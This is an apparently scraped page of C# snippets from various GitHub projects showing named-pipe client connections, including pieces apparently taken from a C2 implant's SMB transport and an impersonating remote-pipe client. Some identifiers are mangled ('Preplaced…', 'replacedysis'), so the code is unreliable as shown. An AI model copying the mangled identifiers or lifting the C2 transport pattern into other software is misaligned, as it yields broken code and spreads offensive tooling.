				form.addLogText("デフォルトのプレイヤーの起動設定中に問題が発生しました" + e.Message + e.Source + e.StackTrace + e.TargetSite);
			}
			
	//                while (server.IsConnected) {
//        	pipeWriter.WriteLine();
//        	pipeWriter.Flush();
			
		}

19 Source : SingleInstance.cs
with GNU General Public License v3.0
from HMBSbige

public bool PreplacedArgumentsToFirstInstance(IEnumerable<string> arguments)
		{
			if (IsFirstInstance)
				throw new InvalidOperationException("This is the first instance.");

			try
			{
				using (var client = new NamedPipeClientStream(_identifier))
				using (var writer = new StreamWriter(client))
				{
					client.Connect(200);

					foreach (var argument in arguments)
						writer.WriteLine(argument);
				}
				return true;
			}
			catch (TimeoutException)
			{ } //Couldn't connect to server
			catch (IOException)
			{ } //Pipe was broken

			return false;
		}

19 Source : rbx-join.cs
with GNU General Public License v3.0
from ic3w0lf22

private void rbxjoin_Load(object sender, EventArgs e)
        {
            string[] Arguments = Environment.GetCommandLineArgs();

            if (Arguments.Length == 2 && Arguments[1].Contains("rbx-join"))
            {
                Match match = Regex.Match(Arguments[1], @"rbx-join:\/\/(\d+)\/?(\w+-\w+-\w+-\w+-\w+)?");

                if (match.Success)
                {
                    PlaceId = Convert.ToInt64(match.Groups[1].Value);
                    JobId = match.Groups.Count == 3 ? match.Groups[2].Value : "";
                }
            }

            StartPosition = FormStartPosition.Manual;
            Top = 50;
            Left = Screen.PrimaryScreen.WorkingArea.Width / 2 - (Width / 2);

            try
            {
                using (var pipe = new NamedPipeClientStream("localhost", "AccountManagerPipe", PipeDirection.InOut))
                {
                    pipe.Connect(2500);
                    pipe.ReadMode = PipeTransmissionMode.Message;

                    byte[] bytes = Encoding.Default.GetBytes("acclist");
                    pipe.Write(bytes, 0, bytes.Length);

                    var message = ReadMessage(pipe);
                    string result = Encoding.UTF8.GetString(message);

                    if (string.IsNullOrEmpty(result)) Close();

                    string[] Accounts = result.Split(new[] { "\n" }, StringSplitOptions.None);
                    bool Hide = false;

                    if (Accounts.Length > 0 && Accounts[0] == "hidden")
                        Hide = true;

                    foreach (string Account in Accounts)
                    {
                        if (!Account.Contains("::")) continue;

                        ListViewItem lm = new ListViewItem();
                        int CIndex = Account.IndexOf("::");
                        string Name = Account.Substring(0, CIndex);
                        string Alias = Account.Substring(CIndex + 2);

                        lm.Text = (Hide ? Regex.Replace(Name, ".", "*") : Name) + (!string.IsNullOrWhiteSpace(Alias) ? ": " + Alias : "");
                        lm.ToolTipText = Alias;
                        lm.Name = Name;
                        AccountsView.Items.Add(lm);
                    }
                }
            }
            catch (Exception x)
            {
                MessageBox.Show("Error, try restarting the Account Manager\n" + x.ToString(), "rbx-join", MessageBoxButtons.OK, MessageBoxIcon.Error);
                Close();
            }
        }

19 Source : rbx-join.cs
with GNU General Public License v3.0
from ic3w0lf22

private void AccountsView_MouseDoubleClick(object sender, MouseEventArgs e)
        {
            if (AccountsView.SelectedItems.Count > 1) return;

            ListViewItem self = AccountsView.SelectedItems[0];

            using (var pipe = new NamedPipeClientStream("localhost", "AccountManagerPipe", PipeDirection.InOut))
            {
                pipe.Connect(5000);
                pipe.ReadMode = PipeTransmissionMode.Message;

                // string Account = self.Text.Contains(":") ? self.Text.Substring(0, self.Text.IndexOf(":")) : self.Text;

                byte[] bytes = Encoding.Default.GetBytes("play-" + self.Name + "-" + PlaceId + (!string.IsNullOrEmpty(JobId) ? "-" + JobId : ""));
                pipe.Write(bytes, 0, bytes.Length);

                this.Close();
            }
        }

19 Source : ChatClientService.cs
with GNU General Public License v3.0
from immense

public async Task SendMessage(string senderName,
            string message,
            string orgName,
            bool disconnected,
            string senderConnectionID,
            HubConnection hubConnection)
        {
            if (!await MessageLock.WaitAsync(30000))
            {
                Logger.Write("Timed out waiting for chat message lock.", Shared.Enums.EventType.Warning);
                return;
            }

            try
            {
                ChatSession chatSession;
                if (!ChatClients.Contains(senderConnectionID))
                {
                    if (disconnected)
                    {
                        // Don't start a new session just to show a disconnected message.
                        return;
                    }

                    var procID = await AppLauncher.LaunchChatService(orgName, senderConnectionID, hubConnection);

                    if (procID > 0)
                    {
                        Logger.Write($"Chat app started.  Process ID: {procID}");
                    }
                    else
                    {
                        Logger.Write($"Chat app did not start successfully.");
                        return;
                    }

                    var clientPipe = new NamedPipeClientStream(".", "Remotely_Chat" + senderConnectionID, PipeDirection.InOut, PipeOptions.Asynchronous);
                    clientPipe.Connect(15000);
                    if (!clientPipe.IsConnected)
                    {
                        Logger.Write("Failed to connect to chat host.");
                        return;
                    }
                    chatSession = new ChatSession() { PipeStream = clientPipe, ProcessID = procID };
                    _ = Task.Run(async () => { await ReadFromStream(chatSession.PipeStream, senderConnectionID, hubConnection); });
                    ChatClients.Add(senderConnectionID, chatSession, CacheItemPolicy);
                }

                chatSession = (ChatSession)ChatClients.Get(senderConnectionID);

                if (!chatSession.PipeStream.IsConnected)
                {
                    ChatClients.Remove(senderConnectionID);
                    await hubConnection.SendAsync("DisplayMessage", "Chat disconnected.  Please try again.", "Chat disconnected.", "bg-warning", senderConnectionID);
                    return;
                }

                using var sw = new StreamWriter(chatSession.PipeStream, leaveOpen: true);
                var chatMessage = new ChatMessage(senderName, message, disconnected);
                await sw.WriteLineAsync(JsonSerializer.Serialize(chatMessage));
                await sw.FlushAsync();
            }
            catch (Exception ex)
            {
                Logger.Write(ex);
            }
            finally
            {
                MessageLock.Release();
            }
        }

19 Source : GruntSMB.cs
with GNU General Public License v3.0
from juliourena

protected override void CheckPipeState()
        {
            if (!this.ActivePipe)
            {
                NamedPipeClientStream ClientPipe = new NamedPipeClientStream(Hostname, this.PipeName, PipeDirection.InOut, PipeOptions.Asynchronous);
                ClientPipe.Connect(Timeout);
                ClientPipe.ReadMode = PipeTransmissionMode.Byte;
                this.Pipe = ClientPipe;
            }
        }

19 Source : PipeHTMLClient.cs
with GNU General Public License v3.0
from Kir-Antipov

public override void WaitForConnection(int TimeoutMS)
        {
            if (TimeoutMS > 0)
                Stream.Connect(TimeoutMS);
            else
                Stream.Connect();
        }

19 Source : ManagedNamedPipeClient.cs
with MIT License
from Lachee

private bool AttemptConnection(int pipe, bool isSandbox = false)
        {
            if (_isDisposed)
                throw new ObjectDisposedException("_stream");

            //If we are sandbox but we dont support sandbox, then skip
            string sandbox = isSandbox ? GetPipeSandbox() : "";
            if (isSandbox && sandbox == null)
            {
                Logger.Trace("Skipping sandbox connection.");
                return false;
            }

            //Prepare the pipename
            Logger.Trace("Connection Attempt " + pipe + " (" + sandbox + ")");
            string pipename = GetPipeName(pipe, sandbox);

            try
            {
                //Create the client
                lock (l_stream)
                {
                    Logger.Info("Attempting to connect to " + pipename);
                    _stream = new NamedPipeClientStream(".", pipename, PipeDirection.InOut, PipeOptions.Asynchronous);
                    _stream.Connect(1000);

                    //Spin for a bit while we wait for it to finish connecting
                    Logger.Trace("Waiting for connection...");
                    do { Thread.Sleep(10); } while (!_stream.IsConnected);
                }

                //Store the value
                Logger.Info("Connected to " + pipename);
                _connectedPipe = pipe;
                _isClosed = false;
            }
            catch (Exception e)
            {
                //Something happened, try again
                //TODO: Log the failure condition
                Logger.Error("Failed connection to {0}. {1}", pipename, e.Message);
                Close();
            }

            Logger.Trace("Done. Result: {0}", _isClosed);
            return !_isClosed;
        }

19 Source : SingleInstance.cs
with MIT License
from marius00

public Boolean PreplacedArgumentsToFirstInstance(String[] arguments) {
            if (IsFirstInstance)
                throw new InvalidOperationException("This is the first instance.");

            try {
                using (NamedPipeClientStream client = new NamedPipeClientStream(identifier.ToString()))
                using (StreamWriter writer = new StreamWriter(client)) {
                    client.Connect(200);

                    foreach (String argument in arguments)
                        writer.WriteLine(argument);
                }
                return true;
            }
            catch (TimeoutException) { } //Couldn't connect to server
            catch (IOException) { } //Pipe was broken

            return false;
        }

19 Source : Program.cs
with MIT License
from Maxstupo

private static void SendUrl(string url, bool silent = false) {
            try {
                using (NamedPipeClientStream pipeClient = new NamedPipeClientStream(".", FormMain.PipeName, PipeDirection.Out, PipeOptions.None, TokenImpersonationLevel.Identification)) {
                    pipeClient.Connect(1000);
                    using (StreamWriter sw = new StreamWriter(pipeClient, new UTF8Encoding(false))) {

                        sw.WriteLine($"{(silent ? "1" : "0")} {url}");
                        sw.Flush();
                        pipeClient.WaitForPipeDrain();
                    }
                }
            } catch (Exception) {
                // TODO: Catch exception - Not really important, if it fails we dont add the URL.
            }
        }

19 Source : MsBuildWorkspaceResolver.cs
with MIT License
from microsoft

private void ConnectToServerPipeAndLogProgress(string outputFileString)
        {
            // We start a dedicated thread that listens to the graph construction progress process pipe and redirects all messages
            // to BuildXL logging. The thread terminates then the pip is closed or the user requests a cancellation.
            replacedysis.IgnoreResult(
                Task.Factory.StartNew(
                        () =>
                        {
                            try
                            {
                                // The name of the pipe is the filename of the output file
                                using (var pipeClient = new NamedPipeClientStream(
                                    ".",
                                    Path.GetFileName(outputFileString),
                                    PipeDirection.In,
                                    PipeOptions.Asynchronous))
                                using (var reader = new StreamReader(pipeClient, Encoding.UTF8))
                                {
                                    // Let's give the client a 5 second timeout to connect to the graph construction process
                                    pipeClient.Connect(5000);
                                    // We try to read from the pipe while the stream is not flagged to be finished and there is
                                    // no user cancellation
                                    while (!m_context.CancellationToken.IsCancellationRequested && !reader.EndOfStream)
                                    {
                                        var line = reader.ReadLine();
                                        if (line != null)
                                        {
                                            Tracing.Logger.Log.ReportGraphConstructionProgress(m_context.LoggingContext, line);
                                        }
                                    }
                                }
                            }
                            // In case of a timeout or an unexpected exception, we just log warnings. This only prevents
                            // progress to be reported, but the graph construction process itself may continue to run
                            catch (TimeoutException)
                            {
                                Tracing.Logger.Log.CannotGetProgressFromGraphConstructionDueToTimeout(m_context.LoggingContext);
                            }
                            catch (IOException ioException)
                            {
                                Tracing.Logger.Log.CannotGetProgressFromGraphConstructionDueToUnexpectedException(m_context.LoggingContext, ioException.Message);
                            }
                        }
                    )
                );
        }

19 Source : Program.cs
with MIT License
from microsoft

private static void ConnectWithNamedPipe(string pipeName, Action<Stream> act)
        {
            using (var pipeStream = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.Asynchronous))
            {
                // The connect call will throw if the connection cannot be established within 5 seconds.
                pipeStream.Connect(5000);
                act(pipeStream);
            }
        }

19 Source : MsBuildGraphProgressTests.cs
with MIT License
from microsoft

private Task<string> ConnectToServerPipeAndLogProgress(string pipeName)
        {
            return Task.Factory.StartNew(
                    () =>
                    {
                        var stringBuilder = new StringBuilder();
                        using (var pipeClient = new NamedPipeClientStream(
                            ".",
                            Path.GetFileName(pipeName),
                            PipeDirection.In,
                            PipeOptions.Asynchronous))
                        using (var reader = new StreamReader(pipeClient, Encoding.UTF8))
                        {
                            pipeClient.Connect(100000);
                            while (!reader.EndOfStream)
                            {
                                var line = reader.ReadLine();
                                if (line != null)
                                {
                                    stringBuilder.Append(line);
                                }
                            }
                        }
                        return stringBuilder.ToString();
                    }
                );
        }

19 Source : Program.cs
with MIT License
from microsoft

internal static QsLanguageServer ConnectViaNamedPipe(string writerName, string readerName, string? logFile = null)
        {
            Log($"Connecting via named pipe. {Environment.NewLine}ReaderPipe: \"{readerName}\" {Environment.NewLine}WriterPipe:\"{writerName}\"", logFile);
            var writerPipe = new NamedPipeClientStream(writerName);
            var readerPipe = new NamedPipeClientStream(readerName);

            readerPipe.Connect(30000);
            if (!readerPipe.IsConnected)
            {
                Log($"[ERROR] Connection attempted timed out.", logFile);
            }

            writerPipe.Connect(30000);
            if (!writerPipe.IsConnected)
            {
                Log($"[ERROR] Connection attempted timed out.", logFile);
            }

            return new QsLanguageServer(writerPipe, readerPipe);
        }

19 Source : QueuedPipeStringWriter.cs
with MIT License
from microsoft

private void WriteMessage(string message)
        {
            // Create pipe if this is the first message, or if the last connection broke for any reason
            if (this.pipeClient == null)
            {
                try
                {
                    // Create a new pipe stream instance using the provided factory
                    NamedPipeClientStream pipe = this.createPipeFunc();

                    // Specify a instantaneous timeout because we don't want to hold up the
                    // background thread loop if the pipe is not available; we will just drop this event.
                    // The pipe server should already be running and waiting for connections from us.
                    pipe.Connect(timeout: 0);

                    // Keep a hold of this connected pipe for future messages
                    this.pipeClient = pipe;
                }
                catch (Exception ex)
                {
                    this.RaiseStateChanged(QueuedPipeStringWriterState.Failing, ex);
                    return;
                }
            }

            try
            {
                // If we're in byte/stream transmission mode rather than message mode
                // we should signal the end of each message with a line-feed (LF) character.
                if (this.pipeClient.TransmissionMode == PipeTransmissionMode.Byte)
                {
                    message += '\n';
                }

                byte[] data = Encoding.UTF8.GetBytes(message);
                this.pipeClient.Write(data, 0, data.Length);
                this.pipeClient.Flush();

                this.RaiseStateChanged(QueuedPipeStringWriterState.Healthy, null);
            }
            catch (Exception ex)
            {
                // We can't send this message for some reason (e.g., broken pipe); we attempt no recovery or retry
                // mechanism and drop this message. We will try to recreate/connect the pipe on the next message.
                this.pipeClient.Dispose();
                this.pipeClient = null;
                this.RaiseStateChanged(QueuedPipeStringWriterState.Failing, ex);
                return;
            }
        }

19 Source : NamedPipeClient.cs
with MIT License
from microsoft

public bool Connect(int timeoutMilliseconds = 3000)
        {
            if (this.clientStream != null)
            {
                throw new InvalidOperationException();
            }

            try
            {
                this.clientStream = new NamedPipeClientStream(this.pipeName);
                this.clientStream.Connect(timeoutMilliseconds);
            }
            catch (TimeoutException)
            {
                return false;
            }
            catch (IOException)
            {
                return false;
            }

            this.reader = new NamedPipeStreamReader(this.clientStream);
            this.writer = new NamedPipeStreamWriter(this.clientStream);

            return true;
        }

19 Source : InspectorSupport.cs
with MIT License
from microsoft

internal static void AgentStarted (string agentConnectUri)
        {
            if (String.IsNullOrEmpty (connectionInfoPipeHandle))
                return;

            Task.Run (() => {
                try {
                    using (var pipeClient = new NamedPipeClientStream (
                        ".", connectionInfoPipeHandle, PipeDirection.Out)) {
                        pipeClient.Connect (500);

                        using (var sw = new StreamWriter (pipeClient)) {
                            sw.AutoFlush = true;
                            sw.WriteLine (agentConnectUri);
                        }
                    }
                } catch (Exception e) {
                    Console.WriteLine (e);
                }
            });
        }

19 Source : Helpers.cs
with MIT License
from mode51

public static bool Connect(NamedPipeClientStream stream, int msTimeout)
        {
            try
            {
                stream.Connect(msTimeout);
                return true;
            }
            catch (TimeoutException)
            {
                return false;
            }
        }

19 Source : Helpers.cs
with MIT License
from mode51

public static NamedPipeClientStream CreateClientAndConnect(string serverName, string pipeName, System.Security.Principal.TokenImpersonationLevel tokenImpersonationLevel, int msTimeout, out Exception e)
        {
            NamedPipeClientStream stream = null;
            e = null;
            try
            {
                stream = new NamedPipeClientStream(serverName, pipeName, PipeDirection.InOut, PipeOptions.Asynchronous, tokenImpersonationLevel);
            }
            catch (Exception ex)
            {
                e = ex;
                return null;
            }

            try
            {
                stream.Connect(msTimeout);
                stream.ReadMode = PipeTransmissionMode.Message; //not available until after connected
            }
            catch (TimeoutException ex)
            {
                stream.Dispose();
                e = ex;
                stream = null;
            }
            catch (Exception ex)
            {
                e = ex;
                stream?.Dispose();
                stream = null;
            }
            return stream;
        }

19 Source : IPCHandlers.cs
with Mozilla Public License 2.0
from mozilla-services

private static NamedPipeClientStream BrokerConnectWGTunnelNamedPipe()
        {
            try
            {
                var tunnelPipe = new NamedPipeClientStream(ProductConstants.TunnelPipeName);
                tunnelPipe.Connect(1000);
                return tunnelPipe;
            }
            catch (System.TimeoutException)
            {
                if (Manager.MainWindowViewModel.Status == Models.ConnectionState.Protected)
                {
                    ErrorHandling.ErrorHandler.Handle("Named pipe not available", ErrorHandling.LogLevel.Debug);
                }

                return null;
            }
        }

19 Source : Tunnel.cs
with Mozilla Public License 2.0
from mozilla-services

private NamedPipeClientStream ConnectWGTunnelNamedPipe()
        {
            try
            {
                var tunnelPipe = new NamedPipeClientStream(ProductConstants.TunnelPipeName);
                tunnelPipe.Connect(1000);
                return tunnelPipe;
            }
            catch (TimeoutException)
            {
                if (Manager.MainWindowViewModel.Status == Models.ConnectionState.Protected)
                {
                    ErrorHandling.ErrorHandler.Handle("Named pipe not available", ErrorHandling.LogLevel.Debug);
                }

                return null;
            }
        }

19 Source : NamedPipes.cs
with BSD 3-Clause "New" or "Revised" License
from mvelazc0

public static string RunClientSerialized(string rhost, string domain, string ruser, string rpwd, string npipe, byte[] serialized_object)
        {
            //Based on https://github.com/malcomvetter/NamedPipes

            using (new Impersonation(domain, ruser, rpwd))
            {
                using (var pipeClient = new NamedPipeClientStream(rhost, npipe, PipeDirection.InOut))
                {
                    pipeClient.Connect(100000);
                    pipeClient.ReadMode = PipeTransmissionMode.Message;

                    var reader = new StreamReader(pipeClient);
                    //var writer = new StreamWriter(pipeClient);
                    var writer2 = new BinaryWriter(pipeClient);
                    writer2.Write(serialized_object);
                    var restul1 = reader.ReadLine();
                    return (restul1.ToString());
                }
            }
        }

19 Source : NamedPipes.cs
with BSD 3-Clause "New" or "Revised" License
from mvelazc0

public static string RunNoAuthClientSerialized(string npipe, byte[] serialized_object)
        {
            using (var pipeClient = new NamedPipeClientStream(".", npipe, PipeDirection.InOut))
            {
                pipeClient.Connect(10000);
                pipeClient.ReadMode = PipeTransmissionMode.Message;

                var reader = new StreamReader(pipeClient);
                var writer2 = new BinaryWriter(pipeClient);
                writer2.Write(serialized_object);
                //var writer = new StreamWriter(pipeClient);
                //writer.WriteLine(request);
                //writer.Flush();
                var result = reader.ReadLine();
                return (result.ToString());
            }
        }

19 Source : PipeClient.cs
with GNU Affero General Public License v3.0
from natfrp

public bool Connect()
        {
            try
            {
                lock (this)
                {
                    var pipe = new NamedPipeClientStream(Host, Name, PipeDirection.InOut, PipeOptions.Asynchronous);
                    pipe.Connect(1000);
                    pipe.ReadMode = PipeTransmissionMode.Message;
                    Pipe = new PipeConnection(new byte[BufferSize], pipe);

                    pipe = new NamedPipeClientStream(Host, Name + PipeConnection.PUSH_SUFFIX, PipeDirection.InOut, PipeOptions.Asynchronous);
                    pipe.Connect(1000);
                    pipe.ReadMode = PipeTransmissionMode.Message;
                    PushPipe = new PipeConnection(new byte[BufferSize], pipe);
                }
                BeginPushPipeRead();
                return true;
            }
            catch
            {
                Dispose();
            }
            return false;
        }

19 Source : RemoteApplication.cs
with Apache License 2.0
from newrelic

public virtual void Shutdown()
        {
            if (!IsRunning)
            {
                return;
            }

            var shutdownChannelName = "app_server_wait_for_all_request_done_" + Port;
            
            TestLogger?.WriteLine($"[RemoteApplication] Sending shutdown signal to {ApplicationDirectoryName}.");

            if (Utilities.IsLinux)
            {
                using (NamedPipeClientStream pipeClient =
                    new NamedPipeClientStream(".", shutdownChannelName, PipeDirection.Out))
                {
                    try
                    {
                        pipeClient.Connect(1000); // 1 second connect timeout

                        using (StreamWriter sw = new StreamWriter(pipeClient))
                        {
                            sw.AutoFlush = true;
                            sw.WriteLine("Okay to shut down now");
                        }
                    }
                    catch (Exception ex)
                    {
                        TestLogger?.WriteLine($"[RemoteApplication] FAILED sending shutdown signal to named pipe \"{shutdownChannelName}\": {ex}.");
                        RemoteProcess.Kill();
                    }
                }
            }
            else
            {
                try
                {
                    //The test runner opens an event created by the app server and set it to signal the app server that the test has finished. 
                    var remoteAppEvent = EventWaitHandle.OpenExisting(shutdownChannelName);
                    remoteAppEvent.Set();
                }
                catch (Exception ex)
                {
                    TestLogger?.WriteLine($"[RemoteApplication] FAILED sending shutdown signal to wait handle \"{shutdownChannelName}\": {ex}.");
                    RemoteProcess.Kill();
                }
            }

        }

See More Examples